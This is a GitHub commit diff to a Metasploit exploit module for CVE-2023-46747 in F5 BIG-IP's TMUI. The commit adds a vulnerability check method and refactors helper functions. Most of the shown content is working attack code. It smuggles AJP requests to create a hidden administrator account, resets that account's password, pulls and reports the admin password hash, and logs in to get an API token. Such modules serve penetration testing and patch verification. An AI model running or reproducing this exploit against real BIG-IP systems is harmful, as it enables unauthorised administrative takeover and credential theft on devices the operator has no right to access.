Skip to content

Commit

Permalink
Add the check method
Browse files Browse the repository at this point in the history
  • Loading branch information
zeroSteiner committed Nov 1, 2023
1 parent f840d1d commit 5b0ec94
Showing 1 changed file with 35 additions and 17 deletions.
52 changes: 35 additions & 17 deletions modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,8 @@ def initialize(info = {})
'Stability' => [],
'Reliability' => [],
'SideEffects' => [
IOC_IN_LOGS,
CONFIG_CHANGES # temporary user
IOC_IN_LOGS, # user creation events are logged
CONFIG_CHANGES # a temporary user is created then deleted
]
}
)
Expand All @@ -75,29 +75,36 @@ def initialize(info = {})
])
end

def check; end
def check
res = create_user(role: 'Guest')
return CheckCode::Unknown unless res
return CheckCode::Safe unless res.code == 200

changed = update_user_password
return CheckCode::Safe unless changed

user = bigip_api_tm_get_user(username)
return CheckCode::Safe unless user.get_json_document['kind'] == 'tm:auth:user:userstate'

CheckCode::Vulnerable
end

def exploit
res = create_user
res = create_user(role: 'Administrator')
fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200

new_password = Rex::Text.rand_text_alphanumeric(password.length)
changed = retry_until_truthy(timeout: 30) do
res = big5_api_shared_set_password(username, password, new_password)
res&.code == 200
end
changed = update_user_password
fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed

@password = new_password
print_good("Created administrator user: #{username}:#{password}")

res = big5_api_tm_get_user('admin')
res = bigip_api_tm_get_user('admin')
if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?
print_good("Retrieved the admin hash: #{hash}")
report_hash('admin', hash)
end

res = big5_api_shared_login
res = bigip_api_shared_login
fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200

token = res.get_json_document.dig('token', 'token')
Expand Down Expand Up @@ -158,11 +165,12 @@ def password
@password ||= Rex::Text.rand_text_alphanumeric(12..14)
end

def create_user
def create_user(role:)
# for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html
send_request_smuggled_ajp({
'handler' => '/tmui/system/user/create',
'form_page' => '/tmui/system/user/create.jsp',
'systemuser-hidden' => '[["Administrator","[All]"]]',
'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",
'systemuser-hidden_before' => '',
'name' => username,
'name_before' => '',
Expand All @@ -186,6 +194,16 @@ def delete_user
})
end

def update_user_password
new_password = Rex::Text.rand_text_alphanumeric(password.length)
changed = retry_until_truthy(timeout: 30) do
res = bigip_api_shared_set_password(username, password, new_password)
res&.code == 200
end
@password = new_password if changed
changed
end

def send_request_smuggled_ajp(query)
post_data = "204\r\n" # do not change

Expand Down Expand Up @@ -235,7 +253,7 @@ def send_request_smuggled_ajp(query)
)
end

def big5_api_shared_set_password(user, old_password, new_password)
def bigip_api_shared_set_password(user, old_password, new_password)
send_request_cgi(
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
Expand All @@ -247,7 +265,7 @@ def big5_api_shared_set_password(user, old_password, new_password)
)
end

def big5_api_shared_login
def bigip_api_shared_login
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),
Expand All @@ -256,7 +274,7 @@ def big5_api_shared_login
)
end

def big5_api_tm_get_user(user)
def bigip_api_tm_get_user(user)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),
Expand Down

0 comments on commit 5b0ec94

Please sign in to comment.